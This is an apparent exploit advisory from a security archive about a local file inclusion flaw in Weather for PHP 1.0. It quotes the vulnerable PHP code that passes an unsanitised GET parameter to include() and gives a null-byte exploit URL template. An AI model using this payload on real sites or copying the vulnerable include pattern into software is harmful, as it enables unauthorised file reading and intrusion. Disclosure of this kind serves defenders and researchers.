Weather for PHP version 1.0 suffers from a local file inclusion vulnerability.
93c726ea73bde73582798d1a0d6ea71e40db9889d9fb99c500d9b2df5af28359Weather for PHP <= (PageName) Local File Include Vulnerability
Script : Weather for PHP
Version : 1.0
Download : http://www.instaguide.com/download/weather_free.zip
AUTHOR : BorN To K!LL
Vuln Code :
$PageName = $_GET['PageName']; //// this is one ... :)
include("includes/content/$PageName.php") //// this is two ... :)
Exploit :
[path]/index.php?PageName[Local File]%00
Greetings :
str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ...
BorN To K!LL <> Dr.2 = 4ever .... =D
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed